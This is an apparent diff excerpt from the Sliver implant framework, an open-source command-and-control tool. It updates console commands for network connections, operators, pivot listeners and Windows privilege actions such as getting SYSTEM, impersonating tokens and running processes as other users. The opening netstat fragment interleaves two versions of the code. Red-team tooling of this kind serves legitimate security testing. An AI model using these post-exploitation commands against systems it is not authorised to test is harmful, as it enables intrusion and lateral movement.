pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
}
srcAddr := lookup(e.LocalAddr)
dstAddr := lookup(e.RemoteAddr)
if e.Process != nil && e.Process.Pid == session.PID && isSliverAddr(dstAddr, con) {
con.Printf("%s%-5s %-23.23s %-23.23s %-12s %-16s%s\n",
console.Green, e.Protocol, srcAddr, dstAddr, e.SkState, p, console.Normal)
srcAddr := lookup(entry.LocalAddr)
dstAddr := lookup(entry.RemoteAddr)
if entry.Process != nil && entry.Process.Pid == implantPID {
tw.AppendRow(table.Row{
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
fmt.Sprintf(console.Green+"%s"+console.Normal, srcAddr),
fmt.Sprintf(console.Green+"%s"+console.Normal, dstAddr),
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.SkState),
fmt.Sprintf(console.Green+"%s"+console.Normal, pid),
})
} else {
con.Printf("%-5s %-23.23s %-23.23s %-12s %-16s\n",
e.Protocol, srcAddr, dstAddr, e.SkState, p)
tw.AppendRow(table.Row{entry.Protocol, srcAddr, dstAddr, entry.SkState, pid})
}
}
con.Printf("%s\n", tw.Render())
}
func isSliverAddr(dstAddr string, con *console.SliverConsoleClient) bool {
parts := strings.Split(dstAddr, ":")
if len(parts) != 3 {
return false
func getActiveC2(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.ActiveC2
}
c2Addr := strings.Split(con.ActiveTarget.GetSessionInteractive().ActiveC2, "://")[1]
return strings.Join(parts[:2], ":") == c2Addr
if beacon != nil {
return beacon.ActiveC2
}
return ""
}
func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 {
if session != nil {
return session.PID
}
if beacon != nil {
return beacon.PID
}
return -1
}
+15 -39
View File
@@ -19,17 +19,15 @@ package operators
*/
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// OperatorsCmd - Display operators and current online status
@@ -45,46 +43,24 @@ func OperatorsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func displayOperators(operators []*clientpb.Operator, con *console.SliverConsoleClient) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Operator\tStatus\t")
fmt.Fprintf(table, "%s\t%s\t\n",
strings.Repeat("=", len("Operator")),
strings.Repeat("=", len("Status")),
)
colorRow := []string{"", ""} // Two uncolored rows for the headers
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Status",
})
for _, operator := range operators {
// This is the CA, but I guess you could also name an operator
// "multiplayer" and it'll never show up in the list
if operator.Name == "multiplayer" {
continue
}
fmt.Fprintf(table, "%s\t%s\t\n", operator.Name, status(operator.Online))
if operator.Online {
colorRow = append(colorRow, console.Bold+console.Green)
} else {
colorRow = append(colorRow, "")
}
}
table.Flush()
lines := strings.Split(outputBuf.String(), "\n")
for lineNumber, line := range lines {
if len(line) == 0 {
continue
}
con.Printf("%s%s%s\n", colorRow[lineNumber], line, console.Normal)
tw.AppendRow(table.Row{
console.Bold + operator.Name + console.Normal,
status(operator.Online),
})
}
con.Printf("%s\n", tw.Render())
}
func status(isOnline bool) string {
if isOnline {
return "Online"
return console.Bold + console.Green + "Online" + console.Normal
}
return "Offline"
return console.Bold + console.Red + "Offline" + console.Normal
}
+96
View File
@@ -0,0 +1,96 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// PivotDetailsCmd - Display pivots for all sessions
func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
con.PrintErrorf("%s\n", pivotListeners.Response.Err)
return
}
id := uint32(ctx.Flags.Int("id"))
if id == uint32(0) {
selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
id = selectedListener.ID
}
found := false
for _, listener := range pivotListeners.Listeners {
if listener.ID == id {
PrintPivotListenerDetails(listener, con)
found = true
}
}
if !found {
con.PrintErrorf("No pivot listener with id %d\n", id)
}
}
// PrintPivotListenerDetails - Print details of a single pivot listener
func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverConsoleClient) {
con.Printf("\n")
con.Printf(" ID: %d\n", listener.ID)
con.Printf(" Protocol: %s\n", PivotTypeToString(listener.Type))
con.Printf(" Bind Address: %s\n", listener.BindAddress)
con.Printf(" Number of Pivots: %d\n", len(listener.Pivots))
con.Printf("\n")
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(fmt.Sprintf(console.Bold+"%s Pivots"+console.Normal, PivotTypeToString(listener.Type)))
tw.AppendSeparator()
tw.AppendHeader(table.Row{
"ID",
"Remote Address",
})
for _, pivot := range listener.Pivots {
tw.AppendRow(table.Row{
pivot.ID,
pivot.RemoteAddress,
})
}
con.Printf("%s\n", tw.Render())
}
+64
View File
@@ -0,0 +1,64 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
"fmt"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// SelectPivotListener - Interactive menu to select a pivot listener
func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) (*sliverpb.PivotListener, error) {
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, listener := range listeners {
fmt.Fprintf(table, "%d\t%s\t%s\t\n", listener.ID, PivotTypeToString(listener.Type), listener.BindAddress)
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no task to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a beacon task:",
Options: options,
}
err := survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return listeners[index], nil
}
}
return nil, errors.New("task not found")
}
-40
View File
@@ -1,40 +0,0 @@
package pivots
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if session.OS != "windows" {
con.PrintErrorf("Not implemented for %s\n", session.OS)
return
}
pipeName := ctx.Flags.String("name")
if pipeName == "" {
con.PrintErrorf("-n parameter missing\n")
return
}
_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
PipeName: pipeName,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Listening on %s", "\\\\.\\pipe\\"+pipeName)
}
+45 -58
View File
@@ -19,84 +19,71 @@ package pivots
*/
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/desertbit/grumble"
)
// PivotsCmd - Display pivots for all sessions
func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
timeout := ctx.Flags.Int("timeout")
sessionID := ctx.Flags.String("id")
if sessionID != "" {
session := con.GetSession(sessionID)
if session == nil {
return
}
printPivots(session, int64(timeout), con)
} else {
session := con.ActiveTarget.GetSession()
if session != nil {
printPivots(session, int64(timeout), con)
} else {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
for _, session := range sessions.Sessions {
printPivots(session, int64(timeout), con)
}
}
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
}
func printPivots(session *clientpb.Session, timeout int64, con *console.SliverConsoleClient) {
pivotList, err := con.Rpc.ListPivots(context.Background(), &sliverpb.PivotListReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
Async: false,
},
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pivotList.Response != nil && pivotList.Response.Err != "" {
con.PrintErrorf("%s\n", pivotList.Response.Err)
if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
con.PrintErrorf("%s\n", pivotListeners.Response.Err)
return
}
if len(pivotList.Entries) > 0 {
con.PrintInfof("Session %d\n", session.ID)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "type\taddress\t\n")
fmt.Fprintf(table, "%s\t%s\t\n",
strings.Repeat("=", len("type")),
strings.Repeat("=", len("address")),
)
for _, entry := range pivotList.Entries {
fmt.Fprintf(table, "%s\t%s\t\n", entry.Type, entry.Remote)
}
table.Flush()
con.Printf(outputBuf.String())
if len(pivotListeners.Listeners) == 0 {
con.PrintInfof("No pivot listeners running on this session\n")
} else {
con.PrintInfof("No pivots found for session %d\n", session.ID)
PrintPivotListeners(pivotListeners.Listeners, con)
}
}
// PrintPivotListeners - Print a table of pivot listeners
func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Protocol",
"Bind Address",
"Number of Pivots",
})
for _, listener := range pivotListeners {
tw.AppendRow(table.Row{
listener.ID,
PivotTypeToString(listener.Type),
listener.BindAddress,
len(listener.Pivots),
})
}
con.Printf("%s\n", tw.Render())
}
// PivotTypeToString - Convert a pivot type to a human string
func PivotTypeToString(pivotType sliverpb.PivotType) string {
switch pivotType {
case sliverpb.PivotType_TCP:
return "TCP"
case sliverpb.PivotType_UDP:
return "UDP"
case sliverpb.PivotType_NamedPipe:
return "Named Pipe"
}
return "Unknown"
}
+74
View File
@@ -0,0 +1,74 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StartTCPListenerCmd - Start a TCP pivot listener on the remote system
func StartTCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
bind := ctx.Flags.String("bind")
lport := uint16(ctx.Flags.Int("lport"))
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
Type: sliverpb.PivotType_TCP,
BindAddress: fmt.Sprintf("%s:%d", bind, lport),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if listener.Response != nil && listener.Response.Err != "" {
con.PrintErrorf("%s\n", listener.Response.Err)
return
}
con.PrintInfof("Started tcp pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
}
// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system
func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
Type: sliverpb.PivotType_NamedPipe,
BindAddress: ctx.Flags.String("bind"),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if listener.Response != nil && listener.Response.Err != "" {
con.PrintErrorf("%s\n", listener.Response.Err)
return
}
con.PrintInfof("Started named pipe pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
}
+64
View File
@@ -0,0 +1,64 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StopPivotListenerCmd - Start a TCP pivot listener on the remote system
func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
id := uint32(ctx.Flags.Int("id"))
if id == uint32(0) {
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(pivotListeners.Listeners) == 0 {
con.PrintInfof("No pivot listeners running on this session\n")
return
}
selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
id = selectedListener.ID
}
_, err := con.Rpc.PivotStopListener(context.Background(), &sliverpb.PivotStopListenerReq{
ID: id,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Stopped pivot listener\n")
}
-34
View File
@@ -1,34 +0,0 @@
package pivots
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// TCPListenerCmd - Start a TCP pivot listener on the remote system
func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
server := ctx.Flags.String("server")
lport := uint16(ctx.Flags.Int("lport"))
address := fmt.Sprintf("%s:%d", server, lport)
_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
Address: address,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Listening on tcp://%s", address)
}
@@ -0,0 +1,4 @@
Prelude Operator
=================
Connection code for [Prelude Operator](https://www.prelude.org/)
+3 -3
View File
@@ -51,10 +51,10 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, sess := range sessions.Sessions {
err = sessionMapper.AddSession(sess)
for _, session := range sessions.Sessions {
err = sessionMapper.AddSession(session)
if err != nil {
con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
}
}
con.PrintInfof("Done !\n")
+58 -21
View File
@@ -1,15 +1,5 @@
package privilege
import (
"context"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
@@ -28,38 +18,65 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var processName string = "Current Process"
import (
"context"
"strconv"
"strings"
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// GetPrivsCmd - Get the current process privileges (Windows only)
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session.OS != "windows" {
con.PrintErrorf("Command not supported on this operating system.")
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Command only supported on Windows.\n")
return
}
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
pid := getPID(session, beacon)
if privs.Response != nil && privs.Response.Async {
con.AddBeaconCallback(privs.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, privs)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetPrivs(privs, pid, con)
})
con.PrintAsyncResponse(privs.Response)
} else {
PrintGetPrivs(privs, pid, con)
}
}
// PrintGetPrivs - Print the results of the get privs command
func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverConsoleClient) {
// Response is the Envelope (see RPC API), Err is part of it.
if privs.Response != nil && privs.Response.Err != "" {
con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
con.PrintErrorf("%s\n", privs.Response.Err)
}
if privs.PrivInfo == nil {
return
}
var processName string = "Current Process"
if privs.ProcessName != "" {
processName = privs.ProcessName
}
@@ -68,7 +85,7 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// for column width
var nameColumnWidth int = 0
var descriptionColumnWidth int = 0
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(pid)))
for _, entry := range privs.PrivInfo {
if len(entry.Name) > nameColumnWidth {
@@ -83,7 +100,7 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
nameColumnWidth += 1
descriptionColumnWidth += 1
con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
con.Printf("Privilege Information for %s (PID: %d)\n", processName, pid)
con.Println(strings.Repeat("-", introWidth))
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
@@ -107,3 +124,23 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf("\n")
}
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.OS
}
if beacon != nil {
return beacon.OS
}
panic("no session or beacon")
}
func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 {
if session != nil {
return session.PID
}
if beacon != nil {
return beacon.PID
}
panic("no session or beacon")
}
+30 -6
View File
@@ -23,34 +23,58 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system
func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Command only supported on Windows.\n")
return
}
process := ctx.Flags.String("process")
config := con.GetActiveSessionConfig()
ctrl := make(chan bool)
con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
getsystemResp, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
getSystem, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
Request: con.ActiveTarget.Request(ctx),
Config: config,
HostingProcess: process,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if getsystemResp.GetResponse().GetErr() != "" {
if getSystem.Response != nil && getSystem.Response.Async {
con.AddBeaconCallback(getSystem.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, getSystem)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetSystem(getSystem, con)
})
con.PrintAsyncResponse(getSystem.Response)
} else {
PrintGetSystem(getSystem, con)
}
}
// PrintGetSystem - Print the results of get system
func PrintGetSystem(getsystemResp *sliverpb.GetSystem, con *console.SliverConsoleClient) {
if getsystemResp.Response != nil && getsystemResp.Response.GetErr() != "" {
con.PrintErrorf("%s\n", getsystemResp.GetResponse().GetErr())
return
}
+26 -6
View File
@@ -22,28 +22,48 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ImpersonateCmd - Windows only, impersonate a user token
func ImpersonateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
username := ctx.Args.String("username")
impResp, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
impersonate, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
Request: con.ActiveTarget.Request(ctx),
Username: username,
})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if impResp.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", impResp.GetResponse().GetErr())
if impersonate.Response != nil && impersonate.Response.Async {
con.AddBeaconCallback(impersonate.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, impersonate)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintImpersonate(impersonate, username, con)
})
con.PrintAsyncResponse(impersonate.Response)
} else {
PrintImpersonate(impersonate, username, con)
}
}
// PrintImpersonate - Print the results of the attempted impersonation
func PrintImpersonate(impersonate *sliverpb.Impersonate, username string, con *console.SliverConsoleClient) {
if impersonate.Response != nil && impersonate.Response.GetErr() != "" {
con.PrintErrorf("%s\n", impersonate.Response.GetErr())
return
}
con.PrintInfof("Successfully impersonated %s\n", username)
+24 -6
View File
@@ -22,16 +22,19 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// MakeTokenCmd - Windows only, create a token using "valid" credentails
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
username := ctx.Flags.String("username")
password := ctx.Flags.String("password")
domain := ctx.Flags.String("domain")
@@ -50,17 +53,32 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Domain: domain,
Password: password,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if makeToken.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", makeToken.GetResponse().GetErr())
if makeToken.Response != nil && makeToken.Response.Async {
con.AddBeaconCallback(makeToken.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, makeToken)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMakeToken(makeToken, domain, username, con)
})
con.PrintAsyncResponse(makeToken.Response)
} else {
PrintMakeToken(makeToken, domain, username, con)
}
}
// PrintMakeToken - Print the results of attempting to make a token
func PrintMakeToken(makeToken *sliverpb.MakeToken, domain string, username string, con *console.SliverConsoleClient) {
if makeToken.Response != nil && makeToken.Response.GetErr() != "" {
con.PrintErrorf("%s\n", makeToken.Response.GetErr())
return
}
con.Println()
+29 -5
View File
@@ -22,22 +22,46 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RevToSelfCmd - Drop any impersonated tokens
func RevToSelfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
_, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
revert, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s", err)
con.PrintErrorf("%s\n", err)
return
}
if revert.Response != nil && revert.Response.Async {
con.AddBeaconCallback(revert.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, revert)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRev2Self(revert, con)
})
con.PrintAsyncResponse(revert.Response)
} else {
PrintRev2Self(revert, con)
}
}
// PrintRev2Self - Print the result of revert to self
func PrintRev2Self(revert *sliverpb.RevToSelf, con *console.SliverConsoleClient) {
if revert.Response != nil && revert.Response.GetErr() != "" {
con.PrintErrorf("%s\n", revert.Response.GetErr())
return
}
con.PrintInfof("Back to self...")
+38 -8
View File
@@ -22,16 +22,19 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RunAsCmd - Run a command as another user on the remote system
func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
username := ctx.Flags.String("username")
process := ctx.Flags.String("process")
arguments := ctx.Flags.String("args")
@@ -46,22 +49,49 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
runAsResp, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
runAs, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
Request: con.ActiveTarget.Request(ctx),
Username: username,
ProcessName: process,
Args: arguments,
})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if runAsResp.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", runAsResp.GetResponse().GetErr())
return
name := getName(session, beacon)
if runAs.Response != nil && runAs.Response.Async {
con.AddBeaconCallback(runAs.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, runAs)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRunAs(runAs, process, arguments, name, con)
})
con.PrintAsyncResponse(runAs.Response)
} else {
PrintRunAs(runAs, process, arguments, name, con)
}
con.PrintInfof("Successfully ran %s %s on %s\n", process, arguments, session.GetName())
}
// PrintRunAs - Print the result of run as
func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con *console.SliverConsoleClient) {
if runAs.Response != nil && runAs.Response.GetErr() != "" {
con.PrintErrorf("%s\n", runAs.Response.GetErr())
return
}
con.PrintInfof("Successfully ran %s %s on %s\n", process, args, name)
}
func getName(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Name
}
if beacon != nil {
return beacon.Name
}
panic("no session or beacon")
}
+54 -11
View File
@@ -22,22 +22,26 @@ import (
"context"
"fmt"
"io/ioutil"
"path"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
